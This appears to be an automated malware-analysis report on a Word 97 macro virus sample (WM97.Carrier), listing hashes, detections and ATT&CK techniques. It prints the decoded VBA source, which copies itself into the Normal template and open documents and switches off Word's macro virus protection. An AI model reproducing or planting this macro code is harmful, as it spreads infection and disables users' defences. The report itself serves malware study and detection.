WM97.Carrier Office (OLE) malware analysis — malicious · 426f93e8dff84dc8

MALICIOUS

Office (OLE)

34.0 KB Created: 1999-04-03 12:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 3fc60c08549d327cfced1f88e5a983f6 SHA-1: d67226a7d79cd5fe13b676e8a1fe60811a130028 SHA-256: 426f93e8dff84dc864c6df83bd4baf0b3fb6c83ec9ca218b48aa074764b81536

240 Risk Score

Malware Insights

WM97.Carrier · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic auto-exec markers and VBA macros, specifically an AutoOpen macro, indicating an attempt to execute malicious code upon document opening. The embedded VBA script attempts to copy itself to the Normal template and the active document, likely to establish persistence and spread the WM97.Carrier infection. The document body explicitly states it contains the WM97.Carrier virus.

Heuristics 5

ClamAV: Doc.Trojan.Carrier-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Carrier-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6282 bytes
SHA-256: `8a64d5c3826ecf8e6fa05f02d6a6422521bfd169d1e7072f8c7697fc745bc4f5`
Detection ClamAV: Doc.Trojan.Carrier-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Close() Rem written by Lord Arz Rem BEGINN TDIE NormInstalled = False ActInstalled = False NormalTemplate.VBProject.VBComponents(1).Export ("c:\Normal.bas") ActiveDocument.VBProject.VBComponents(1).Export ("c:\Document.bas") NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) If UCase(NI) = "REM WRITTEN BY LORD ARZ" Then NormInstalled = True If UCase(AI) = "REM WRITTEN BY LORD ARZ" Then ActInstalled = True If NormInstalled = True And ActIntalled = True Then GoTo PayLoad If NormInstalled = True Then IW = "c:\Normal.bas" Else IW = "C:\Document.bas" Open IW For Input As #1 VirCode = "Private Sub Document_Close()" & Chr(13) Do Line Input #1, SRCLine Loop Until SRCLine = "Private Sub Document_Close()" Do Until UCase(SRCLine) = "REM END TDIE" Line Input #1, SRCLine VirCode = VirCode & SRCLine & Chr(13) Loop VirCode = VirCode & "End Sub" If NormInstalled = False Then Lines = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines 1, VirCode End If If ActInstalled = False Then Lines = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 1, VirCode End If PayLoad: Close Kill "C:\Document.bas" Kill "C:\Normal.bas" End Sub Private Sub Document_New() Rem written by Lord Arz Rem BEGINN TDIE 'TDIE by Dark Lord and Lord Arz 'Please don't remove this Sing NormInstalled = False ActInstalled = False NormalTemplate.VBProject.VBComponents(1).Export ("c:\Normal.bas") ActiveDocument.VBProject.VBComponents(1).Export ("c:\Document.bas") NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) If UCase(NI) = "REM WRITTEN BY LORD ARZ" Then NormInstalled = True If UCase(AI) = "REM WRITTEN BY LORD ARZ" Then ActInstalled = True If NormInstalled = True And ActIntalled = True Then GoTo PayLoad If NormInstalled = True Then IW = "c:\Normal.bas" Else IW = "C:\Document.bas" Open IW For Input As #1 VirCode = "Private Sub Document_Close()" & Chr(13) Do Line Input #1, SRCLine Loop Until SRCLine = "Private Sub Document_Close()" Do Until UCase(SRCLine) = "REM END TDIE" Line Input #1, SRCLine VirCode = VirCode & SRCLine & Chr(13) Loop VirCode = VirCode & "End Sub" If NormInstalled = False Then Lines = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines 1, VirCode End If If ActInstalled = False Then Lines = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 1, VirCode End If PayLoad: Close Kill "C:\Document.bas" Kill "C:\Normal.bas" End Sub Private Sub Document_Open() Rem written by Lord Arz Rem BEGINN TDIE 'TDIE by Dark Lord and Lord Arz 'Please don't remove this Sing Options.VirusProtection = False Application.CommandBars("Tools").Controls(12).Controls(3).Visible = False NormInstalled = False ActInstalled = False NormalTemplate.VBProject.VBComponents(1).Export ("c:\Normal.bas") ActiveDocument.VBProject.VBComponents(1).Export ("c:\Document.bas") NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) If UCase(NI) = "REM WRITTEN BY LORD A ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.